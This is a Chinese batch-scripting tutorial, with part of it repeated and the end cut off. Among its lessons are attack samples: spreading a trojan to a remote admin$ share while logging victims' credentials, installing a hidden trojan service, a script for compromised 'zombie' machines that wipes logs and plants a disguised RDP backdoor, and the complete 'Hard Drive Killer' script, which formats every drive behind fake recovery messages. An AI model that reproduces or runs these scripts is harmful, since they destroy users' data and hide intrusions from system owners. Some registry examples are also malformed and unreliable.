C:/>dir z: && dir c:/Ex4rch

The system cannot find the path specified.

C:/>dir c:/Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:/Ex4rch

2002-05-14 23:55 <DIR> .

2002-05-14 23:55 <DIR> ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:

dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:/backup

如果遠程服務器上存在 backup.mdb 文件,就執行 copy 命令,若不存在該文件則不執行 copy 命令。這種用法可以替換 IF exist :)

3.||

Usage :第一條命令 || 第二條命令 [|| 第三條命令 ...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample

C:/Ex4rch>dir sometips.gif || del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:/Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample

@copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

批處理詳細教程(四)

四、管道命令的使用

1.| 命令

Usage :第一條命令 | 第二條命令 [| 第三條命令 ...]

將第一條命令的結果作爲第二條命令的參數來使用,記得在 unix 中這種方式很常見。

sample

time /t>>D:/IP.log

netstat -n -p tcp|find ":3389">>D:/IP.log

start Explorer

看出來了麼?用於終端服務允許我們爲用戶自定義起始的程序,來實現讓用戶運行下面這個 bat ,以獲得登錄用戶的 IP

2.> >> 輸出重定向命令

將一條命令或某個程序輸出結果的重定向到特定文件中 , > >> 的區別在於, > 會清除調原有文件中的內容後寫入指定文件,而 >> 只會追加內容到指定文件中,而不會改動其中的內容。

sample1

echo hello world>c:/hello.txt (stupid example?)

sample2:

時下 DLL 木馬盛行,我們知道 system32 是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裏鑽, DLL 馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的 EXE DLL 文件作一個記錄:

運行 CMD-- 轉換目錄到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

這樣所有的 EXE DLL 文件的名稱都被分別記錄到 exeback.txt dllback.txt ,

日後如發現異常但用傳統的方法查不出問題時 , 則要考慮是不是系統中已經潛入 DLL 木馬了 .

這時我們用同樣的命令將 system32 下的 EXE DLL 文件記錄到另外的 exeback1.txt dllback1.txt , 然後運行 :

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.( FC 命令比較前後兩次的 DLL EXE 文件 , 並將結果輸入到 diff.txt ), 這樣我們就能發現一些多出來的 DLL EXE 文件 , 然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被 DLL 木馬光顧了。沒有是最好,如果有的話也不要直接 DEL 掉,先用 regsvr32 /u trojan.dll 將後門 DLL 文件註銷掉 , 再把它移到回收站裏,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

3.< >& <&

< 從文件中而不是從鍵盤中讀入命令輸入。

>& 將一個句柄的輸出寫入到另一個句柄的輸入中。

<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。

這些並不常用,也就不多做介紹。

No.5

. 如何用批處理文件來操作註冊表

在入侵過程中經常回操作註冊表的特定的鍵值來實現一定的目的,例如 : 爲了達到隱藏後門、木馬程序而刪除 Run 下殘餘的鍵值。或者創建一個服務用以加載後門。當然我們也會修改註冊表來加固系統或者改變系統的某個屬性,這些都需要我們對註冊表操作有一定的瞭解。下面我們就先學習一下如何使用 .REG 文件來操作註冊表 .( 我們可以用批處理來生成一個 REG 文件 )

關於註冊表的操作,常見的是創建、修改、刪除。

1. 創建

創建分爲兩種,一種是創建子項 (Subkey)

我們創建一個文件,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]

然後執行該腳本,你就已經在 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft 下創建了一個名字爲“ hacker ”的子項。

另一種是創建一個項目名稱

那這種文件格式就是典型的文件格式,和你從註冊表中導出的文件格式一致,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

"Invader"="Ex4rch"

"Door"=C://WINNT//system32//door.exe

"Autodos"=dword:02

這樣就在 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

新建了 :Invader door about 這三個項目

Invader 的類型是“ String value

door 的類型是“ REG SZ value

Autodos 的類型是“ DWORD value

2. 修改

修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入( regedit /s )即可。

3. 刪除

我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

"Ex4rch"=-

執行該腳本, [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 下的 "Ex4rch" 就被刪除了;

我們再看看刪除一個子項,我們創建一個如下的腳本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

執行該腳本, [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] 就已經被刪除了。

相信看到這裏, .reg 文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的 .reg 文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。

samlpe1: 如上面的那個例子 , 如想生成如下注冊表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要這樣:

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C://WINNT//system32//door.exe>>Sample. reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我們現在在使用一些比較老的木馬時 , 可能會在註冊表的 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/ CurrentVersion/Run(Runonce Runservices Runexec)] 下生成一個鍵值用來實現木馬的自啓動 . 但是這樣很容易暴露木馬程序的路徑 , 從而導致木馬被查殺 , 相對地若是將木馬程序註冊爲系統服務則相對安全一些 . 下面以配置好地 IRC 木馬 DSNX 爲例 ( 名爲 windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:/winnt/system32/windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [ 刪除 DSNXDE 在註冊表中的啓動項,用 sc.exe 將之註冊爲系統關鍵性服務的同時將其屬性設爲隱藏和只讀,並 config 爲自啓動 ]

@REM 這樣不是更安全 ^_^.

 

 

 

批處理詳細教程(五)

. 精彩實例放送。

1. 刪除 win2k/xp 系統默認共享的批處理

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off

:Rem check parameters if null show usage.

if {%1}=={} goto :Usage

:Rem code start.

echo.

echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.

echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:/delshare.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg

echo "AutoShareWks"=dword:00000000>> c:/delshare.reg

echo "AutoShareServer"=dword:00000000>> c:/delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:/delshare.reg

echo Deleting the temprotarily files.

del c:/delshare.reg

goto :END

:Usage

echo.

echo ------------------------------------------------------

echo.

echo A example for batch file

echo [Use batch file to change the sysytem share properties.]

echo.

echo Author Ex4rch

echo Mail:[email protected] QQ:1672602

echo.

echo Error Not enough parameters

echo.

echo Please enter the share disk you wanna delete

echo.

echo For instance to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: Please chang it youself.

echo.

echo example

echo If locak disklable are C: D: E: X: Y: Z: you should chang the command into

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF

:END

echo.

echo ------------------------------------------------------

echo.

echo OK,delshare.bat has deleted all the share you assigned.

echo.Any questions ,feel free to mail to [email protected].

echo

echo.

echo ------------------------------------------------------

echo.

:EOF

echo end of the batch file

------------------------ cut here then save as .bat or .cmd file ---------------------------

2. 全面加固系統(給肉雞打補丁)的批處理文件

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll

@echo "AutoShareWks"=dword:00000000 >>patch.dll

@REM [ 禁止共享 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll

@echo "restrictanonymous"=dword:00000001 >>patch.dll

@REM [ 禁止匿名登錄 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll

@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll

@REM [ 禁止及文件訪問和打印共享 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll

@echo "ShutdownWithoutLogon"="0" >>patch.dll

@REM [ 禁止登錄前關機 ]

@echo "DontDisplayLastUserName"="1" >>patch.dll

@REM [ 禁止顯示前一個登錄用戶名稱 ]

@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

下面命令是清除肉雞所有日誌,禁止一些危險的服務,並修改肉雞的 terminnal service 留跳後路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:/winnt/system32/logfiles/w3svc1/*.* /f /q

@del c:/winnt/system32/logfiles/w3svc2/*.* /f /q

@del c:/winnt/system32/config/*.event /f /q

@del c:/winnt/system32dtclog/*.* /f /q

@del c:/winnt/*.txt /f /q

@del c:/winnt/*.log /f /q

@net start w3svc

@net start event log

@rem [ 刪除日誌 ]

@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [ 禁止一些危險的服務。 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>patch.dll

@echo "PortNumber"=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>patch.dll

@echo "PortNumber"=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll

@echo "Start"=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll

@echo "Start"=dword:00000002 >>patch.dll

@echo "ErrorControl"=dword:00000001 >>patch.dll

@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll

@echo "ObjectName"="LocalSystem" >>patch.dll

@echo "Type"=dword:00000010 >>patch.dll

@echo "Description"="Keep record of the program and windows message " >>patch.dll

@echo "DisplayName"="Microsoft EventLog" >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe

@REM [ 修改 3389 連接,端口爲 8210( 十六進制爲 00002012) ,名稱爲 Microsoft EventLog ,留條後路 ]

3.Hard Drive Killer Pro Version 4.0 (玩批處理到這個水平真的不容易了。)

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo off

rem This program is dedecated to a very special person that does not want to be named.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:/autoexec.bat >nul

echo @echo off >c:/autoexec.bat

echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat

call attrib +r +h c:/autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, dont worry about how it

rem works, its d/*amn to complicated for the average or even the expert batch programmer.

rem Except for Tom Lavedas.

echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then its true.

rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

if %drive.==. set drive=c

:form_del

call attrib -r -h c:/autoexec.bat >nul

echo @echo off >c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

echo cd/ >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat

echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat

echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat

echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat

echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat

echo echo. >>c:/autoexec.bat

echo echo Regards, >>c:/autoexec.bat

echo echo. >>c:/autoexec.bat

echo echo Munga Bunga >>c:/autoexec.bat

call attrib +r +h c:/autoexec.bat

:makedir

if exist c:/temp.bat attrib -r -h c:/temp.bat >nul

echo @echo off >c:/temp.bat

echo %%1:/ >>c:/temp.bat

echo cd/ >>c:/temp.bat

echo :startmd >>c:/temp.bat

echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat

echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat

echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat

call attrib +r +h c:/temp.bat >nul

cls

echo Initializing Variables . . .

rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul

call attrib +r +h c:/temp.bat >nul

call attrib +r +h c:/autoexec.bat >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:/*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

echo.

echo Here is a joke for you . . .

echo.

echo Q). Whats the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Dont you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

批處理詳細教程(結尾篇)

 

. 精彩實例放送。

1. 刪除 win2k/xp 系統默認共享的批處理

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off

:Rem check parameters if null show usage.

if {%1}=={} goto :Usage

:Rem code start.

echo.

echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.

echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:/delshare.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg

echo "AutoShareWks"=dword:00000000>> c:/delshare.reg

echo "AutoShareServer"=dword:00000000>> c:/delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:/delshare.reg

echo Deleting the temprotarily files.

del c:/delshare.reg

goto :END

:Usage

echo.

echo ------------------------------------------------------

echo.

echo A example for batch file

echo [Use batch file to change the sysytem share properties.]

echo.

echo Author Ex4rch

echo Mail:[email protected] QQ:1672602

echo.

echo Error Not enough parameters

echo.

echo Please enter the share disk you wanna delete

echo.

echo For instance to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: Please chang it youself.

echo.

echo example

echo If locak disklable are C: D: E: X: Y: Z: you should chang the command into

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF

:END

echo.

echo ------------------------------------------------------

echo.

echo OK,delshare.bat has deleted all the share you assigned.

echo.Any questions ,feel free to mail to [email protected].

echo

echo.

echo ------------------------------------------------------

echo.

:EOF

echo end of the batch file

------------------------ cut here then save as .bat or .cmd file ---------------------------

2. 全面加固系統(給肉雞打補丁)的批處理文件

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll

@echo "AutoShareWks"=dword:00000000 >>patch.dll

@REM [ 禁止共享 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll

@echo "restrictanonymous"=dword:00000001 >>patch.dll

@REM [ 禁止匿名登錄 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll

@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll

@REM [ 禁止及文件訪問和打印共享 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll

@echo "ShutdownWithoutLogon"="0" >>patch.dll

@REM [ 禁止登錄前關機 ]

@echo "DontDisplayLastUserName"="1" >>patch.dll

@REM [ 禁止顯示前一個登錄用戶名稱 ]

@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

下面命令是清除肉雞所有日誌,禁止一些危險的服務,並修改肉雞的 terminnal service 留跳後路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:/winnt/system32/logfiles/w3svc1/*.* /f /q

@del c:/winnt/system32/logfiles/w3svc2/*.* /f /q

@del c:/winnt/system32/config/*.event /f /q

@del c:/winnt/system32dtclog/*.* /f /q

@del c:/winnt/*.txt /f /q

@del c:/winnt/*.log /f /q

@net start w3svc

@net start event log

@rem [ 刪除日誌 ]

@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [ 禁止一些危險的服務。 ]

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>patch.dll

@echo "PortNumber"=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>patch.dll

@echo "PortNumber"=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll

@echo "Start"=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll

@echo "Start"=dword:00000002 >>patch.dll

@echo "ErrorControl"=dword:00000001 >>patch.dll

@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll

@echo "ObjectName"="LocalSystem" >>patch.dll

@echo "Type"=dword:00000010 >>patch.dll

@echo "Description"="Keep record of the program and windows message " >>patch.dll

@echo "DisplayName"="Microsoft EventLog" >>patch.dll

@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe

@REM [ 修改 3389 連接,端口爲 8210( 十六進制爲 00002012) ,名稱爲 Microsoft EventLog ,留條後路 ]

3.Hard Drive Killer Pro Version 4.0 (玩批處理到這個水平真的不容易了。)

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo off

rem This program is dedecated to a very special person that does not want to be named.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:/autoexec.bat >nul

echo @echo off >c:/autoexec.bat

echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat

call attrib +r +h c:/autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, dont worry about how it

rem works, its d/*amn to complicated for the average or even the expert batch programmer.

rem Except for Tom Lavedas.

echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then its true.

rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

if %drive.==. set drive=c

:form_del

call attrib -r -h c:/autoexec.bat >nul

echo @echo off >c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

echo cd/ >>c:/autoexec.bat

echo cls >>c:/autoexec.bat

echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat

